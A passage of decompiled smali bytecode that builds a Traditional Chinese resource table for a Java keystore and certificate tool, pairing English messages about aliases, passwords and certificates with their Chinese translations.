                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "\u5df2\u5b8c\u6210\u532f\u5165\u6307\u4ee4\uff1a\u6210\u529f\u532f\u5165 {0} \u500b\u9805\u76ee\uff0c{1} \u500b\u9805\u76ee\u5931\u6557\u6216\u5df2\u53d6\u6d88"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "\u8b66\u544a\uff1a\u6b63\u5728\u8986\u5beb\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab\u4e2d\u7684\u73fe\u6709\u5225\u540d {0}"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "\u73fe\u6709\u9805\u76ee\u5225\u540d {0} \u5b58\u5728\uff0c\u662f\u5426\u8986\u5beb\uff1f[\u5426]\uff1a "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "\u592a\u591a\u932f\u8aa4 - \u8acb\u7a0d\u5f8c\u518d\u8a66"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "\u8a8d\u8b49\u8981\u6c42\u5132\u5b58\u5728\u6a94\u6848 <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "\u5c07\u6b64\u63d0\u9001\u81f3\u60a8\u7684 CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "\u5982\u679c\u672a\u6307\u5b9a\u5225\u540d\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a destalias\u3001srckeypass \u53ca destkeypass"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "\u8a8d\u8b49\u5132\u5b58\u5728\u6a94\u6848 <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "\u8a8d\u8b49\u56de\u8986\u5df2\u5b89\u88dd\u5728 keystore \u4e2d"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "\u8a8d\u8b49\u56de\u8986\u672a\u5b89\u88dd\u5728 keystore \u4e2d"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "\u8a8d\u8b49\u5df2\u65b0\u589e\u81f3 keystore \u4e2d"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "\u8a8d\u8b49\u672a\u65b0\u589e\u81f3 keystore \u4e2d"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[\u5132\u5b58 {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} \u6c92\u6709\u516c\u958b\u91d1\u9470\uff08\u8a8d\u8b49\uff09"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "\u7121\u6cd5\u53d6\u5f97\u7c3d\u540d\u6f14\u7b97\u6cd5"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "\u5225\u540d <{0}> \u4e0d\u5b58\u5728"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "\u5225\u540d <{0}> \u6c92\u6709\u8a8d\u8b49"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "\u6c92\u6709\u5efa\u7acb\u9375\u503c\u5c0d\uff0c\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "\u7121\u6cd5\u53d6\u5f97\u7c3d\u540d\u6f14\u7b97\u6cd5"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "\u91dd\u5c0d {4} \u7522\u751f\u6709\u6548\u671f\u70ba {3} \u5929\u7684 {0} \u4f4d\u5143 {1} \u91d1\u9470\u5c0d\u4ee5\u53ca\u81ea\u6211\u7c3d\u7f72\u6191\u8b49 ({2})\n\t"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "\u8f38\u5165 <{0}> \u7684\u4e3b\u5bc6\u78bc"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t\uff08RETURN \u5982\u679c\u548c keystore \u5bc6\u78bc\u76f8\u540c\uff09\uff1a "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "\u4e3b\u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "\u592a\u591a\u932f\u8aa4 - \u9375\u503c\u672a\u88ab\u65b0\u589e\u81f3 keystore \u4e2d"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "\u76ee\u7684\u5730\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "\u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "\u592a\u591a\u932f\u8aa4\u3002 \u9375\u503c\u8f38\u5165\u672a\u88ab\u8907\u88fd"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "<{0}> \u7684\u4e3b\u5bc6\u78bc"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "<{0}> \u7684 Keystore \u8f38\u5165\u5df2\u7d93\u5b58\u5728"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "\u5efa\u7acb <{0}> \u7684 keystore \u8f38\u5165..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "\u5f9e\u65b0\u589e\u8fa8\u8b58\u8cc7\u6599\u5eab\u4e2d\uff0c\u6c92\u6709\u8f38\u5165"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "\u5225\u540d\u540d\u7a31\uff1a {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "\u5efa\u7acb\u65e5\u671f\uff1a {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "\u9805\u76ee\u985e\u578b\uff1a{0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "\u8a8d\u8b49\u93c8\u9577\u5ea6\uff1a "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "\u8a8d\u8b49 [{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "\u8a8d\u8b49\u6307\u7d0b (MD5)\uff1a "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "\u8f38\u5165\u985e\u578b\uff1a trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore \u985e\u578b\uff1a "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore \u63d0\u4f9b\u8005\uff1a "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "\u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f38\u5165"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "\u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f38\u5165"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "\u7121\u6cd5\u8a9e\u6cd5\u5206\u6790\u8f38\u5165"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "\u7a7a\u8f38\u5165"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "\u975e X.509 \u8a8d\u8b49"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "\u7121\u6cd5\u53d6\u5f97\u7c3d\u540d\u6f14\u7b97\u6cd5"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} \u7121\u516c\u958b\u91d1\u9470"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} \u7121 X.509 \u8a8d\u8b49"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "\u65b0\u8a8d\u8b49\uff08\u81ea\u6211\u7c3d\u7f72\uff09\uff1a"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "\u56de\u8986\u4e0d\u542b\u8a8d\u8b49"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "\u8a8d\u8b49\u672a\u8f38\u5165\uff0c\u5225\u540d <{0}> \u5df2\u7d93\u5b58\u5728"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "\u6240\u8f38\u5165\u7684\u4e0d\u662f\u4e00\u500b X.509 \u8a8d\u8b49"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "\u5728 <{0}> \u7684\u5225\u540d\u4e4b\u4e0b\uff0c\u8a8d\u8b49\u5df2\u7d93\u5b58\u5728 keystore \u4e2d"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\u60a8\u4ecd\u7136\u60f3\u8981\u5c07\u4e4b\u65b0\u589e\u55ce\uff1f [\u5426]\uff1a "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "\u5728 <{0}> \u7684\u5225\u540d\u4e4b\u4e0b\uff0c\u8a8d\u8b49\u5df2\u7d93\u5b58\u5728\u65bc CA keystore \u6574\u500b\u7cfb\u7d71\u4e4b\u4e2d"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\u60a8\u4ecd\u7136\u60f3\u8981\u5c07\u4e4b\u65b0\u589e\u81f3\u81ea\u5df1\u7684 keystore \u55ce\uff1f [\u5426]\uff1a "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\u4fe1\u4efb\u9019\u500b\u8a8d\u8b49\uff1f [\u5426]\uff1a "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "\u662f"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "\u65b0 {0}\uff1a "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "\u5fc5\u9808\u662f\u4e0d\u540c\u7684\u5bc6\u78bc"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "\u91cd\u65b0\u8f38\u5165\u65b0 {0}\uff1a "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "\u91cd\u65b0\u8f38\u5165\u65b0\u5bc6\u78bc: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "\u5b83\u5011\u4e0d\u76f8\u7b26\u3002\u8acb\u91cd\u8a66"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "\u8f38\u5165 {0} \u5225\u540d\u540d\u7a31\uff1a "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "\u8acb\u8f38\u5165\u65b0\u7684\u5225\u540d\t(RETURN \u4ee5\u53d6\u6d88\u532f\u5165\u6b64\u9805\u76ee\u7684\u5225\u540d)\uff1a "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "\u8f38\u5165\u5225\u540d\u540d\u7a31\uff1a "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t\uff08RETURN \u5982\u679c\u548c <{0}> \u7684\u76f8\u540c\uff09"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\u6240\u6709\u8005\uff1a{0}\n\u6838\u767c\u8005\uff1a{1}\n\u5e8f\u865f\uff1a{2}\n\u81ea\u4ee5\u4e0b\u65e5\u671f\u958b\u59cb\u751f\u6548\uff1a{3}\uff0c\u76f4\u5230\uff1a{4}\n\u6191\u8b49\u6307\u7d0b\uff1a\n\tMD5\uff1a{5}\n\tSHA1\uff1a{6}\n\t\u7c3d\u540d\u6f14\u7b97\u6cd5\u540d\u7a31\uff1a{7}\n\t\u7248\u672c\uff1a{8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\u60a8\u7684\u540d\u5b57\u8207\u59d3\u6c0f\u70ba\u4f55\uff1f"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\u60a8\u7684\u7de8\u5236\u55ae\u4f4d\u540d\u7a31\u70ba\u4f55\uff1f"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\u60a8\u7684\u7d44\u7e54\u540d\u7a31\u70ba\u4f55\uff1f"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\u60a8\u6240\u5728\u7684\u57ce\u5e02\u6216\u5730\u5340\u540d\u7a31\u70ba\u4f55\uff1f"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\u60a8\u6240\u5728\u7684\u5dde\u53ca\u7701\u4efd\u540d\u7a31\u70ba\u4f55\uff1f"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\u8a72\u55ae\u4f4d\u7684\u4e8c\u5b57\u570b\u78bc\u70ba\u4f55"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
